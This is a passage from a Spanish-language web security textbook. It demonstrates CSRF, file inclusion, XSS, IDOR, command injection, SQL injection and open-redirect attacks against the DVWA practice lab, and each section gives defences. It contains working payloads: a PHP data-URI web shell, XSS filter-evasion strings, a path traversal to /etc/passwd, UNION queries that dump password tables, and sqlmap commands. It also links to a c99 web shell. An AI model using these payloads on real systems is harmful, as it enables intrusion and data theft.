autenticó, aprovechando la cookie de la sesión y cualquier otra información para
volver a conectarse y poder realizar acciones en nombre de la víctima.
Esta vulnerabilidad se aprovecha de la confianza que tiene un sitio web en el

navegador, haciendo que este realice una operación hostil que beneficia al atacante.
CSRF es tan peligroso como la aplicación web que se ataque, si fuera un banco, un
atacante podría hacer transferencias desde la cuenta de la víctima, cerrar una cuenta
bancaria, etc.
Una aplicación web será vulnerable a CSRF si:

No verifica de nuevo la autenticación antes de realizar la operación.
La autenticación por defecto permite realizar operaciones.
Se autorizan operaciones basándose únicamente en las credenciales que se
suministran automáticamente por el navegador como cookies de sesión, token
Kerberos, autorización clásica, certificado SSL…
El gran problema con este tipo de vulnerabilidades es que es muy difícil seguir la pista
hasta el atacante, ya que la IP que realiza la petición a la aplicación web vulnerable es la
de la víctima (como si fuera una operación lícita).

30
Un ejemplo de un ataque CSRF es:

Un atacante introduce un script con una URL maliciosa en su web que hace
automáticamente Likes en Facebook y lo oculta como si fuera una imagen. El script
puede ser del formato:
<img src="https://www.facebook.com/pages/PaginaParaLikes/?=like">
La víctima que tiene abierta una sesión en Facebook visita la página web del
atacante, al hacerlo descarga la imagen y el navegador ejecuta el código oculto.
Si la sesión de la víctima no ha caducado, Facebook tomará la petición como legítima
(ya que la cookie de sesión no ha caducado, el navegador y la IP son los de la víctima,
etc.) y realizará la acción del atacante sin el conocimiento de la víctima.
Deben cumplirse varias condiciones para que pueda darse a cabo este tipo de ataque:
El atacante debe elegir una aplicación web que no compruebe el campo de la

cabecera de referer, que indica de dónde procede el enlace a esa página, o elegir una
víctima con un navegador o plugin que permita falsificar ese campo de referer. Un
ejemplo del funcionamiento de este campo es:
La página www.pagina1.es tiene un enlace a la página www.pagina2.com, cuando

alguien haga clic en el enlace se creará una petición a la segunda página en la que el
campo referer tendrá www.pagina1.es.
Esta medida, por ejemplo, se usa para evitar acceder a páginas de forma directa, es
decir, sin pasar por páginas de registro.
El atacante debe encontrar alguna forma (HTML) o URL que realice la acción que
desee (como hacer likes, transferir dinero o cambiar una contraseña).
El atacante debe determinar el valor correcto de los parámetros de la forma o URL,

si cualquiera de ellos requiere valores secretos de la autenticación o tiene valores que
el atacante no puede adivinar, el ataque fallará.
Si un atacante quiere hacer una transferencia desde la cuenta de la víctima podría

usar una URL como:
http://bank.ejemplo.com/withdraw?account=Victima&amount=10000&for=Atacante

31
El atacante deberá conocer el valor Victima (que podría ser un nombre, una cuenta o
un identificador de cliente) para poder realizar la operación.
El atacante debe asegurarse que la víctima accede a la página con el código malicioso
cuando tiene una sesión abierta en el sitio objetivo.
Podemos ver un ejemplo de este tipo de ataque de nuevo en la plataforma DVWA, en la

pestaña de CSRF. Consiste en cambiar la contraseña de la página de inicio de la víctima
(por defecto password) mediante un ataque CSRF.
Nos fijaremos en el nivel bajo y en el intermedio. En ninguno de ellos la página pide

que introduzcamos la contraseña antigua para poder cambiarla, solo introducir la
nueva contraseña y confirmarla.
El nivel intermedio además comprueba que en el campo referer de la petición HTTP

contenga la cadena «127.0.0.1», para simular que solo puede realizarse la operación
desde una página web específica. Igualmente se podría saltar, ya que solo comprueba
que la cadena esté, no la posición, o se podría intentar spoofear (falsificar) este campo.
Para ambos niveles la URL que aparece cuando cambiamos la contraseña es:
127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=pass&password_conf=pass&Ch
ange=Change#
Siendo las palabras en negrita la nueva contraseña y la confirmación.
Para el ejemplo, primero con el nivel bajo, crearemos una pequeña página web con una
imagen que referencie a la URL maliciosa y la guardaremos en la carpeta
/var/www/falso.
Figura 34. Código HTML de la web falsa.
Accederemos a la página desde la dirección IP privada del ordenador (para no usar la

dirección 127.0.0.1).

32
Figura 35. Página web falsa.
Si nos conectamos ahora a la plataforma DVWA, veremos como la contraseña ha

cambiado.
El segundo ejemplo, con el nivel intermedio, será similar. En este caso crearemos una
página con un enlace que nos redireccionará a la página de DVWA y cambiará la
contraseña.
Figura 36. Código HTML de la página falsa 2.
De nuevo accederemos desde la IP privada del ordenador.
Figura 37. Página web falsa 2.
El pulsar en el enlace debería aparecer la confirmación de que la contraseña ha sido

cambiada, pero no es así. Esto ocurre porque no se cumple que en el campo de referer
esté la cadena 127.0.0.1, como requiere el código de este nivel. Para solucionarlo
utilizaremos un plugin para el navegador para poder modificar las cabeceras de los
mensajes, Tamper Data.
Abrimos el plugin, le damos a comenzar la modificación y hacemos clic en el enlace

malicioso. Podremos ver como en el campo referer está la dirección de la página
maliciosa, así que lo cambiaremos por http://127.0.0.1.

33
Figura 38. Campo referer en Tamper Data.
Finalmente podremos cambiar la contraseña (en este caso a «enlace»).
Figura 39. Confirmación de cambio de contraseña.
4. Ejecución maliciosa de ficheros
Este tipo de vulnerabilidad ocurre únicamente en páginas dinámicas en PHP que

permiten especificar un fichero o una ruta a un fichero, ya sea interno a la
aplicación (LFI) o externo (RFI), mediante parámetros mal validados en la URL.
En el código fuente de este tipo de páginas encontramos funciones como include,

include_once, require o require_once, que son utilizadas para incluir en una misma
página ficheros o código fuente de otros servicios web.
Esta vulnerabilidad tiene un gran riesgo, ya que puede permitir a un atacante:

Introducir código ejecutable en una aplicación web.
Subir archivos maliciosos al servidor.
Acceder a datos privados del servidor como logs, contraseñas, información de
sesión…
Actualmente ya no se encuentra en el Top 10 de OWASP pero siguen existiendo muchas

páginas con esta vulnerabilidad. Para descubrir estas páginas vulnerables debemos
fijarnos en las URL. Aquellas que tengan el formato:
http://www.pagina_vulnerable.com/index.php?page=plantilla.html

34
En la plataforma DVWA tenemos de nuevo una sección vulnerable a este fallo, en la

pestaña File Inclusion. Nos encontraremos con la siguiente URL:
Figura 40. URL de la pestaña vulnerable.
Podemos comprobar que si modificamos el parámetro page por “/etc/group” el

servidor nos volcará en la página web el fichero de grupos de este, por lo que la página
será vulnerable a una inclusión local.
Figura 41. Volcado de /etc/group.
Para comprobar también si la página es vulnerable a una inclusión remota tendremos

que probar insertar una un enlace a una página web como http://www.google.es.
Figura 42. Inclusión de la página www.google.es.

Se puede ver que se ha incrustado el código de la página www.google.es en la página de
DVWA. Esto indicará que también será vulnerable a una inclusión remota.

35
Nota: en muchos casos no funcionará, ya que servidores como Apache, por defecto,
tienen un parámetro que evita que se pueda realizar esta llamada a otras páginas web.
Para desactivarlo (en el caso de Kali Linux) deberemos ir al fichero:
/etc/php5/apache2/php.ini
Buscar y poner a «On» la opción:

allow_url_include
Reiniciaremos el servicio apache2 y ahora nos debería funcionar correctamente.
En caso de no usar Kali Linux y Apache2 como servidor, deberemos buscar el archivo
php.ini del que usemos y modificar el mismo parámetro.
Nuestro objetivo será ejecutar una webshell en la página vulnerable, así que crearemos
una (o la descargaremos). En nuestro caso hemos copiado el código fuente de la
webshell desde pastebin.com y hemos creado el archivo c99.txt en la carpeta falsa de
nuestro servidor (para simular una página web ajena al servidor).
http://pastebin.com/JK2AaELL
A continuación se explicarán los dos tipos de inclusión de ficheros que hay: remota y
local.
Remote File Inclusion (RFI)
Consiste en llamar desde la página web a un fichero que está situado en otro
servidor. El fichero al que queramos llamar no debe acabar en .php, ya que este tipo
de fichero se ejecuta en el servidor en el que esté; por ello lo hemos llamado c99.txt.

36
En el nivel bajo de DVWA realizamos la petición a través de la URL y obtenemos:
Figura 43. Webshell por RFI.
Esta webshell será solo de lectura, pero podremos obtener mucha información del
servidor, así como descargar el código fuente de las páginas.
Local File Inclusion (LFI)
En este caso consiste en llamar desde la página web a un fichero local, es decir, que
ya esté en el servidor (en cualquier lugar de este) y ejecutarlo. Por ejemplo si ya
hemos conseguido subir una webshell al servidor por algún método, podremos
llamarlo utilizando su ruta absoluta o relativa.
Podemos ver un ejemplo con el nivel medio de DVWA. En este nivel la página
comprueba antes de hacer el include(), pues no permite la introducción de «http» o
«https» para poder hacer una inclusión remota (aunque podríamos llamar a un
archivo de un servidor ftp, ya que no lo bloquea).
Figura 44. Webshell por LFI.

37
En este caso hemos llamado directamente al archivo de la webshell c99.php que

teníamos en una carpeta local.
También hay otra forma para realizar esta inclusión local sin necesidad de tener el
archivo de la webshell cargado en la máquina del servidor. Para ello usaremos el
esquema URL «data» (disponible a partir de PHP 5.2).
Un ejemplo del funcionamiento es: ?page=data:, <?php echo "Prueba de data"; ?>
Figura 45. Prueba del esquema data.
Nosotros lo que queremos es ejecutar comandos como si fuera una shell, así que
llamaremos a una de forma local con la llamada system().
?page=data:, <?php system($_GET['cmd']); ?>&cmd=ls
Figura 46. Llamada a una shell con LFI.
De nuevo esta shell que obtenemos solo tendrá permisos de lectura.
Para evitar estas vulnerabilidades:

No se debe incluir rutas a ficheros en la URL.
Si se incluye la ruta, es necesario tener una lista blanca de ficheros, como el nivel
alto de la plataforma DVWA, que solo permite include.php.
Tener especial cuidado con los formularios que permitan a los usuarios subir
ficheros a la aplicación:
o Almacenar los ficheros en una ruta distinta de la raíz.

38
o Validar la ruta y la extensión del fichero.

o Implementar un sistema de Sandbox o chroot que limite el acceso.
5. Cross Site Scripting (XSS)
Este tipo de vulnerabilidad web consiste en la ejecución de código en algún

lenguaje de script (JavaScript normalmente) en el navegador de la víctima
cuando esta visite alguna aplicación web vulnerable.
Podemos encontrar esta vulnerabilidad en aplicaciones web disponibles en Internet, en

aplicaciones locales e incluso en el navegador en sí, pues ocurre cuando una aplicación
no valida la entrada de datos del usuario correctamente o no sanea la salida
adecuadamente, permitiendo que se introduzca código malicioso.
Un atacante puede realizar peligrosas acciones con XSS como:

Robar información delicada.
Secuestrar sesiones del usuario.
Defacement de páginas web, es decir, modificar de manera intencionada una página
web cuando se haya obtenido algún tipo de acceso a ella, bien por algún error de
programación de la página, por algún bug en el propio servidor o por una mala
administración de este.
Comprometer el navegador e introducir malware en la máquina víctima.
Este tipo de vulnerabilidad se suele encontrar en sitios donde se permita introducir

contenido (campos de texto, libros de visitas…). Se suele esconder el vector de ataque
en tags HTML como iframes o imágenes que permitan ocultar el contenido al usuario y
además se puede codificar (en formato UNICODE) para que no sea tan sospechoso.
Existes varios tipos de XSS:

Reflejado (No persistente). Los ataques llegan a la víctima a través de una URL
maliciosa con los parámetros directamente modificados (por algún enlace en otra
página, email…).
Almacenado (Persistente). El código se almacena en un servidor de manera
permanente (en una base de datos, foro, libro de visitas…) y cuando un usuario
acceda a la página vulnerable se ejecutará el código malicioso.

39
Inyección DOM. En este tipo de ataques el código inyectado manipula el código

JavaScript del sitio Web y sus variables son manipuladas, en lugar de los elementos
HTML.
Se puede ver que el segundo tipo de XSS es muy peligroso, ya que, si algún sitio web
que reciba millones de visitas al día es vulnerable a un XSS almacenado se podrían
comprometer todas las máquinas para cualquier fin: robo de datos, botnets, etc.
XSS Reflejado
Volvemos a fijarnos en la plataforma DVWA, en la pestaña XSS Reflected.
Figura 47. Pestaña de XSS Relejado.
En el nivel fácil vemos que no realiza comprobación alguna del texto que
introduzcamos.
Figura 48. Código nivel fácil.
Entonces podremos introducir código JavaScript en la página, como una alerta:
?name=</pre><script>javascript:alert("XSS!!");</script>

40
Figura 49.Alerta por XSS.

También podremos realizar la inserción de imágenes o de formas de HTML.
</pre><img src=http://www.fasebonus.net/wp-content/uploads/2013/02/hacker-02.jpg>
Figura 50. Imagen insertada por XSS.
En el nivel medio encontramos que el código no permite que utilicemos la cadena

<script> (cuando encuentra esta cadena la quita directamente), por lo que
«supuestamente» no dejaría que ejecutáramos código en el cliente.
Figura 51. Código del nivel medio.
Existen muchas técnicas para saltarnos este tipo de controles mediante listas negras de
palabras o expresiones. Un par de ejemplos pueden ser:
Usar mayúsculas:
?name=<SCRIPT>javascript:alert("XSS!!")</script>

41
Aprovecharnos del reemplazo de la cadena <script>:
?name=<scrip<script>t>javascript:alert("XSS!!")</script>
Hay muchas más formas de evadir estos filtros, como otras combinaciones o codificar
las URL.
Podemos encontrar ejemplos en las siguientes direcciones web:

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
http://ha.ckers.org/xsscalc.html
XSS Almacenado
En este caso nos fijaremos en la pestaña de XSS Stored.
Figura 52. Libro de firmas en la pestaña de XSS almacenado.
Nos encontramos con un libro de visitas en el cual podemos introducir texto en dos
campos. Si nos fijamos y comenzamos a poner caracteres en ellos veremos que el
primero solo acepta 10 y el segundo 50.
Podemos introducir de nuevo el código que queramos, ya sea para generar una alerta,
inyectar una foto, redirigir a otra página… pero a diferencia del caso anterior, se
quedará guardado y siempre que carguemos la página el código se ejecutará.
Para el ejemplo vamos a ver el nivel bajo e intentaremos hacer que la página nos
redireccione a otra que queramos, es decir, que siempre que accedamos a la pestaña
XSS Stored nos redireccionará a otra página. Para ello usaremos:
<META HTTP-EQUIV="Refresh" CONTENT="0;URL=http://www.google.es">

42
El número indica el tiempo que tardará en refrescar la página y la URL a qué página
deberá redireccionar.
Cuando queramos insertar el código en el mensaje veremos que no entra todo, por lo
que deberemos usar Tamper Data.
Figura 53. Tamper Data para hacer un ataque de XSS almacenado.
Cuando aceptemos el envío de la petición nos enviará a la página de Google, al igual

que cuando pulsemos la pestaña de XSS Stored.
Nota: para eliminar las entradas del libro de visitas que hayamos creado será necesario
resetear la base de datos de la página.
Para ello iremos a la pestaña Setup y pulsaremos en «Create/Reset Database».
En el nivel intermedio el campo de mensaje no permitirá la introducción de símbolos

HTML como «<» o «>» por lo que no podremos utilizarlo, pero el campo de nombre si
permitirá. Podremos hacer lo mismo que hemos hecho en el ejemplo del nivel fácil pero
usando el otro campo, incluyendo el uso de Tamper Data, ya que este campo de nombre
solo permitirá 10 caracteres.
Hay varias formas de evitar las vulnerabilidades de XSS:
Eliminar los fallos o evitar incluir aplicaciones propensas a XSS.
Filtrar las salidas convirtiendo el texto o datos que podrían contener scripts
maliciosos a un formato codificado:
o ‘<’ y ‘>’ -> ‘<’ y ‘>’
o ‘(’ y ‘)’ -> ‘(’ y ‘)’
o ‘#’ y ‘&’ -> ‘#’ y ‘&’

43
Utilizar validación de entrada mediante una lista blanca y no una lista negra.
Podemos ver que usando una lista negra, en el ejemplo de XSS Reflejado filtrando
por <script>, somos capaces de saltárnoslo.
Para grandes cantidades de información que procede de usuarios se puede utilizar la

API AntiSamy de OWASP que permite sanear las entradas:
https://www.owasp.org/index.php/AntiSamy.
6. Referencia directa insegura a objetos
Este tipo de vulnerabilidad sucede cuando un desarrollador deja referencias a

objetos implementados de manera interna en un URL o como un
parámetro en un formulario.
Estos objetos pueden ser:

Un fichero o directorio.
Una URL.
Una clave de base de datos.
Otros objetos de una base de datos, como por ejemplo el nombre de una tabla.
Si una aplicación web no ha implementado correctamente la gestión de sesión o una

autentificación segura se podrá cambiar el valor de estos parámetros y objetos,
permitiendo a los atacantes referenciar objetos para los que no tengan
autorización y manipular información restringida.
Podemos ver un sencillo ejemplo:
Tenemos una cuenta en la página online de un banco y al conectarnos nos aparece una
URL como esta:
http://www.mibanco.com/usuario/cuentas.php?cuenta=1234
Si ahora cambiamos el parámetro cuenta de la URL, por ejemplo por 1235, esta
vulnerabilidad nos permitiría acceder a la página del banco de la persona que tenga la
cuenta 1235, así como realizar acciones en ella.

44
Otro ejemplo de esta página del banco puede ser:
http://www.mibanco.com/descarga.php?dir=nomina&file=123123.pdf
Podríamos cambiar el valor de estos parámetros «dir» y «file» y acceder a archivos del
servidor.
http://www.mibanco.com/descarga.php?dir=../../../etc&file=passwd
Como se puede ver, no se está haciendo ningún tipo de inyección como en el caso de
XSS; simplemente estamos modificando el parámetro a buscar, por lo que filtrar
parámetros y usar listas blancas no serviría. Para evitar este tipo de vulnerabilidad
podemos:
Eliminar la referencia al objeto.
Sustituir la referencia por un valor temporal de referencia (1, 2, 3, 4…). Aunque
implicaría implementar algún mapa de referencia que permita traducir de uno a
otro.
http://aplicacion?fichero=imagen1.jpg -> http://aplicacion?fichero=1
Validar la referencia directa al objeto.

o Verificar que el valor del parámetro está correctamente formado.
o Verificar si el usuario tiene permiso para acceder al parámetro.
o Verificar si el modo de acceso está permitido (lectura/escritura).
7. Configuraciones inseguras
Los fallos de configuración pueden estar presentes en cualquier nivel de un servicio de

red, incluyendo la plataforma, el servidor web, el servidor de aplicación, la base de
datos, el código… Tanto los desarrolladores como los administradores de sistemas
deben trabajar juntos para asegurarse que todos los niveles se configuran
apropiadamente.
Una mala configuración puede tener todo tipo de consecuencias: revelar directorios,
datos de conexión, credenciales, información de la base de datos, modificar ficheros…
Instalación de puertas traseras debido a la falta de parches.
Explotación de XSS debido a falta de parches de seguridad.
Acceso no autorizado a cuentas por defecto.

45
Obtener información del funcionamiento del sistema privado.
Es importante tener en cuenta si el código fuente de la aplicación es público o privado y

si es el caso, estar atentos a cualquier actualización de seguridad que pueda surgir. En
el caso de ser un código fuente privado hay que considerar todos los sitios donde se
almacena este código. Como norma general, que el código sea privado o no, no debería
afectar a la seguridad del sistema.
Al portar un sistema de desarrollo a producción se deberían cambiar todas las

credenciales por seguridad.
Un par de escenarios de ejemplo pueden ser:

Un servidor web que disponga de una webshell para administrar el sitio que no
disponga de contraseña o utilice una por defecto. Si un atacante descubre su
existencia podría tener control total del sitio web.
Una aplicación web que cuando surja cualquier error en una página porque no ha
podido cargar el contenido, muestre una traza de directorios y del error. Un atacante
podría obtener información de esta manera.
Para evitar las configuraciones inseguras es necesario verificar todas las

configuraciones de todas las aplicaciones y servicios, tanto de cara al usuario
(públicos), como de cara al administrador (privados).
Escaneos automáticos para detectar parches, malas configuraciones, uso de cuentas
por defecto, servicios innecesarios.
Guías de hardening.
Estar al día en todas las actualizaciones de seguridad. Tanto para bibliotecas,
aplicaciones, sistema operativo…
Analizar las implicaciones de seguridad que traen consigo estos cambios.
Adaptar las aplicaciones para que generen reportes para poder analizarlos
posteriormente.
Verificar la implementación mediante software de análisis de vulnerabilidades,
configuración y parches.

46
El hardening (endurecimiento) es el proceso de asegurar un sistema mediante la

reducción de vulnerabilidades en el mismo. Esto se logra eliminando software,
servicios y usuarios innecesarios en el sistema, manteniéndolo actualizado,
configurándolo correctamente, instalando software de seguridad, realizando
auditorías… En conclusión, haciéndole la vida más difícil al atacante reforzando el
sistema.
8. Inyección
La inyección consiste en manipular las entradas de una aplicación para mandar texto
de una forma concreta y que los intérpretes de órdenes lo tomen como comandos y los
ejecuten. Los intérpretes más comunes son SQL, shell del sistema operativo, LDAP,
XPath…
La causa más común es la falta de saneamiento en la entrada de datos o parámetros, es

muy sencillo de evitar, pero ocurre en un gran número de aplicaciones web. Tienen
también un impacto muy grave pues:
Permite a un atacante leer una base de datos entera y en algunos casos modificarla
y/o borrarla.
Permite el acceso al esquema de la base de datos y a sus cuentas.
Permite acceso al mismo sistema operativo (si hablamos de un intérprete como una
shell).
La inyección está en la primera posición del Top 10 de OWASP de 2013, pues es la

vulnerabilidad que más podemos encontrar. Es relativamente fácil explotarla (solo
necesita insertar texto en los intérpretes), no es muy difícil encontrar puntos de
explotación (usando fuzzers o escáneres) y tiene un gran impacto como hemos visto.
Vamos a ver en profundidad dos tipos de inyecciones en particular, las más usuales, la
inyección de comandos en shell y la inyección SQL.
Inyección de comandos
A veces las páginas web utilizan llamadas a programas en el mismo servidor para
permitir ejecutar al usuario diversas tareas o servicios, como las típicas páginas que
permiten hacer ping a una dirección IP. Pero, ¿qué ocurre si estas páginas no
comprueban la entrada de texto antes de realizar la llamada?

47
Podemos ver un ejemplo en la plataforma DVWA, en la pestaña de Command

execution. Tanto el nivel bajo como el intermedio serán vulnerables. Consiste en una
aplicación para hacer ping a una dirección IP mediante la llamada «shell_exec()» que
ejecuta un programa en la consola del servidor, en este caso ping.
Figura 54. Código de la pestaña Command execution.
El nivel bajo no realiza comprobación alguna del texto que se introduce por pantalla,
por lo que podríamos usar símbolos de consola para ejecutar una sentencia detrás de
otra como ‘;’ (Linux) o ‘&&’ (Windows).
Figura 55. Ejemplo de inyección de comandos.
En este caso hemos ejecutado ls ../.. para ver el contenido de la carpeta

/var/www/dvwa del servidor.
En el caso del nivel intermedio la página cuenta con un par de restricciones que son:
eliminar los ‘;’ y ‘&&’ que encuentre en el texto introducido. Pero podremos seguir
ejecutando texto a través de las tuberías en Linux ‘|’ o el OR en Windows ‘||’.
Figura 56. Inyección de comandos en el nivel intermedio.

48
No solo los servicios que hacen ping pueden ser vulnerables. Cualquier función que
realice una llamada a algún programa dentro del servidor del estilo cmd(), shell_exec()
o system() y permita al usuario introducir valores dentro, podría serlo.
Inyección SQL
Casi la totalidad de las aplicaciones web en Internet poseen una base de datos, ya sea
para almacenar las credenciales de acceso como para guardar información del
contenido de las páginas. Para acceder a estas bases de datos es necesario un lenguaje
específico para realizar las consultas, así como un intérprete que entienda las consultas
y nos devuelva un resultado. El lenguaje más común de todos, en el ámbito de
aplicaciones web, es SQL y la base de datos más común es MySQL, por eso este tipo de
inyección es la más común.
Podemos encontrar muchas clasificaciones de tipos de inyección SQL, pero nosotros

nos vamos a centrar en una, dependiendo de si la aplicación web nos devuelve
información con los fallos o no.
Nos encontraremos ante una inyección clásica si nos muestra estos errores y ante
una inyección a ciegas (Blind SQL injection) si solo nos muestra información cuando
realizamos una consulta correcta y hay información que mostrar (no es lo mismo hacer
correctamente una consulta pero que una tabla o columna no existan, que hacer mal la
consulta directamente).
Para ambos tipos de SQL injection usaremos como ejemplo la plataforma DVWA, en las
pestañas SQL Injection y SQL Injection (Blind), en las que será vulnerable tanto el nivel
bajo como el nivel medio. En ambas solo dispondremos de un campo de texto.
Comenzaremos con inyección SQL clásica. El código fuente de la entrada de texto y la

consulta, del nivel bajo, es:
Figura 57. Código fuente del nivel bajo de inyección SQL.
Nosotros podremos cambiar el parámetro id, por lo que podemos realizar varios test
para comprobar la explotación de la base de datos y averiguar más cosas sobre ella.

49
Test positivo: ’or‘1’=‘1 Siempre será cierto.

Test negativo: ’or‘1’=‘0 Siempre será falso.
El test positivo nos deberá devolver un resultado, mientras que el negativo no debería
devolver nada. Con ello comprobamos si estamos ante un caso de inyección clásica o a
ciegas.
Figura 58. Inyección SQL siempre positiva.
Podemos averiguar también el número de columnas de la tabla que obtiene de

respuesta, es decir, el número de atributos diferentes que nos va a devolver (esto será
necesario a la hora de concatenar consultas).
Una columna como mínimo: a’ ORDER BY 1;#

Dos columnas como mínimo: a’ ORDER BY 2;#
Podremos ir realizando indefinidas consultas así, hasta encontrar el número de

columnas. Cuando sobrepasemos el límite de columnas nos mostrará un error, en caso
de ir acertando puede o no mostrar información (dependiendo del valor que le demos a
id, en estos casos le hemos dado ‘a’).
Figura 59. Error al sobrepasar el máximo de columnas.
En este caso podemos ver que la respuesta devuelve un error para 3 columnas, por lo
que tendrá 2 (hemos visto en el código fuente que es así, «first name» y «last name»).

50
Ahora empezaremos a utilizar consultas concatenadas y para ello utilizaremos la orden

UNION ALL SELECT. UNION será para concatenar las consultas y que la respuesta de
la segunda consulta se sume a la primera; ALL la usaremos por si hace falta que se
repitan resultados y la consulta inicial tenía DISTINCT puesto; y SELECT es el inicio de
la nueva consulta como si fuera normal.
El único problema a la hora de realizar esta segunda consulta es que el número de

columnas de la respuesta debe ser el mismo número que en la primera, por ello
necesitamos saber el número de columnas con el comando anterior.
Para obtener la versión de la base de datos (podemos ver como se utilizan 2 columnas,
una para la versión y otra siempre con un ‘1’ para que sea correcta la consulta):
a' UNION ALL SELECT 1, @@version;#
Podemos también obtener archivos del servidor:
' UNION ALL SELECT load_file('/var/www/dvwa/.htaccess'), '1
Ahora veremos el nivel medio e intentaremos sacar más información, como el nombre
de la base de datos o el nombre de sus atributos. En este caso vemos que la entrada de
texto está un poco más saneada y no permite utilizar algunos símbolos como las
comillas simples.
Figura 60. Nos da error porque el servidor codifica las comillas dobles.
Para solucionarlo tendremos que introducir un valor válido en id, es decir, un número
entero.

51
Figura 61. Introducimos un valor válido de ID y luego la inyección.
Deberíamos repetir los pasos del ejemplo anterior para obtener de nuevo las columnas,
aunque en este caso siguen siendo 2.
El primer paso para obtener toda la información de una base de datos será obtener su
nombre:
0 UNION ALL SELECT null, database();#
Figura 62. Consulta del nombre.
El nombre de la base de datos será «dvwa». Para intentar obtener las tablas de esta
base de datos, probaremos accediendo al esquema por defecto de las tablas de las bases
de datos MySQL «information_schema.tables». La consulta sería así:
0 UNION SELECT table_schema, table_name FROM information_schema.tables

WHERE table_schema =‘dvwa’#
Pero obtendremos un error ya que no podemos utilizar las comillas en las consultas por
el saneamiento de la entrada de texto. Así que tendremos que obtener el esquema de

52
todas las tablas de la base de datos, en lugar de solo la que nos interesa y buscar
después la que nos interesa.
0 UNION SELECT table_schema, table_name FROM information_schema.tables#
Figura 63. Buscamos el nombre que nos interesa.
Encontramos que tiene dos tablas: guestbook (que podemos suponer que será la que
usa como libro de visitas para la pestaña de XSS almacenado) y users (que podemos
suponer que será donde guarda la información de los usuarios).
El siguiente paso será intentar averiguar el nombre de las columnas (atributos) de la

tabla de usuarios. Para hacerlo tendremos que usar el método de prueba y error.
Usaremos consultas del estilo:
1 or NombrePrueba = z

53
Donde NombrePrueba será el nombre de la columna que pensamos que puede existir
en la base de datos. Podremos encontrar dos tipos de respuesta por parte de la base de
datos, que exista el nombre o que no:
NO EXISTE EXISTE
Consultas de columnas existentes e inexistentes.
Una vez descubiertas las columnas, realizamos la consulta final para obtener la
información que queremos.
0 UNION ALL SELECT user, password from dvwa.users;#
Figura 64. Información de usuarios de la base de datos.
Ahora vamos a ver un poco blind SQL injection. El problema que nos ocasiona es que
no podremos ver los errores como hemos hecho con la inyección clásica. Aunque
podremos realizar las mismas acciones pero con algunos matices:
Hay que suponer que realizamos correctamente las consultas y cuando no nos
devuelve nada es porque algo a lo que hemos hecho referencia en la consulta no
existe.

54
Podemos hacer consultas de tal manera que devuelva valores booleanos. Si por
ejemplo no nos dice la versión de la base datos podemos preguntar carácter a
carácter.
1 AND 1=0 UNION SELECT null, substring(@@version,1,1)=5#
1 -> Correcto
0 -> Incorrecto
Nos devuelve valores booleanos.
A la hora de descubrir las tablas y las columnas podemos utilizar de nuevo los
esquemas por defecto, pero podemos codificar en hexadecimal los nombres en lugar
de ponerlos entre comillas (también lo podemos hacer en las inyecciones clásicas).
dvwa = 0x64767761
Figura 65. Codificamos los nombres de tablas.
Además podemos concatenar más columnas de las iniciales usando la expresión

concat().
1 AND 1=0 UNION SELECT null, concat(table_name, 0x0a, column_name) from

information_schema.columns where table_name=0x7573657273
users = 0x7573657273

55
Figura 66. Utilizamos concat().
Las técnicas para realizar consultas SQL más importantes (algunas de ellas ya las
hemos estado usando) son:
o UNION query-based. Realizar consultas concatenando con la expresión
UNION (la que hemos estado usando).
o Error-based. Cuando no podemos utilizar técnicas como UNION se puede
intentar provocar errores y enviarnos el resultado del error.
o Out-of-Band. Similar al anterior pero intentando enviar todo, tanto errores
como resultados.
o Boolean-based. Se realiza una consulta que devuelve un valor booleano,
utilizando expresiones como LENGTH, ASCII o SUBSTRING.
o Time-based. Esta técnica consiste en enviar una consulta inyectada con la
condición a true y monitorizar el tiempo que tarda un servidor en responder. Si
hay algún retraso, se puede asumir que el resultado de una consulta condicional
es verdadero.
Como ya hemos visto, disponemos de una herramienta para realizar inyecciones SQL,
tanto clásicas como blind: esta es sqlmap, disponible en Kali Linux. Vamos a hacer una
prueba de nuevo con la plataforma DVWA y esta herramienta para sacar las bases de
datos y las tablas de estas.
sqlmap --url=“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --dbs
Al ejecutarlo nos dirá que nos ha redirigido a la página de login, por lo que tendremos
que utilizar una cookie de la sesión que tengamos abierta.
sqlmap --url=“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”
--cookie=“security=medium; PHPSESSID=8k2kj7a9454b18lbojv87jc7d6” --dbs

56
Obteniendo en nuestro caso:
Figura 67. Obteniendo las bases de datos con sqlmap.
Finalmente obtendremos las tablas de las bases de datos con:
sqlmap --url=“http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”
--cookie=“security=medium; PHPSESSID=8k2kj7a9454b18lbojv87jc7d6” --schema
--exclude-sysdbs
Figura 68. Obtenemos las columnas con sqlmap.
Para evitar las vulnerabilidades de inyección (tanto las de inyección de comandos como
las de SQL) hay algunas recomendaciones:
Evitar utilizar un intérprete, en los casos que sea posible.
Utilizar una interfaz que implemente variables vinculadas (bind).
o Sentencias preparadas.
o Procedimientos almacenados.
o Las variables vinculadas permiten al intérprete distinguir entre código y datos.

57
Codificar todas las entradas antes de que lleguen al intérprete, quitando símbolos
que puedan afectar a una consulta.
Validar todas las entradas que provengan del usuario mediante una lista blanca, es
decir, denegar todo por defecto y definir los casos que sí son válidos.
Depurar los privilegios del usuario con el que se accede a la base de datos.
Solamente permitir la lectura de las tablas necesarias (sobretodo restringir el acceso
a las tablas con los esquemas por defecto que hemos visto).
Desactivar la escritura donde sea posible.
Deshabilitar la conexión remota a la base de datos (o filtrarla mediante IP) para que
un atacante no se pueda conectar remotamente.
9. Redirecciones y reenvíos
Muchos sitios web utilizan parámetros de redirección en sus URL; esto se suele
utilizar para redirigir a un usuario a otra página tras realizar una operación.
Si el parámetro no está correctamente validado, un atacante podría redirigir el

navegador de una víctima a una página maliciosa bajo el pretexto de una URL válida, ya
que el usuario confiará en la página al venir de un sitio de confianza. Se podría redirigir
a:
Páginas de phishing como páginas de login falsas.
Páginas de malware (instalación de toolbars, adware, plugins…).
Exploits para el navegador.
En muchos casos se utiliza la ingeniería social para conseguir que la víctima abra el
enlace, ya sea por email, foros, chats…
Para un ejemplo podemos suponer un escenario en el que la página de PayPal, cada vez
que haces Log out de tu cuenta te reenvía de nuevo a la página de login de la forma:
https://www.paypal.es?dest=www.paypal.es/login.php
Un atacante podría aprovecharse de esto y enviar un correo haciéndose pasar por

PayPal e introduciendo un enlace modificado:
https://www.paypal.es?dest=www.paypalFalso.es/login.php

58
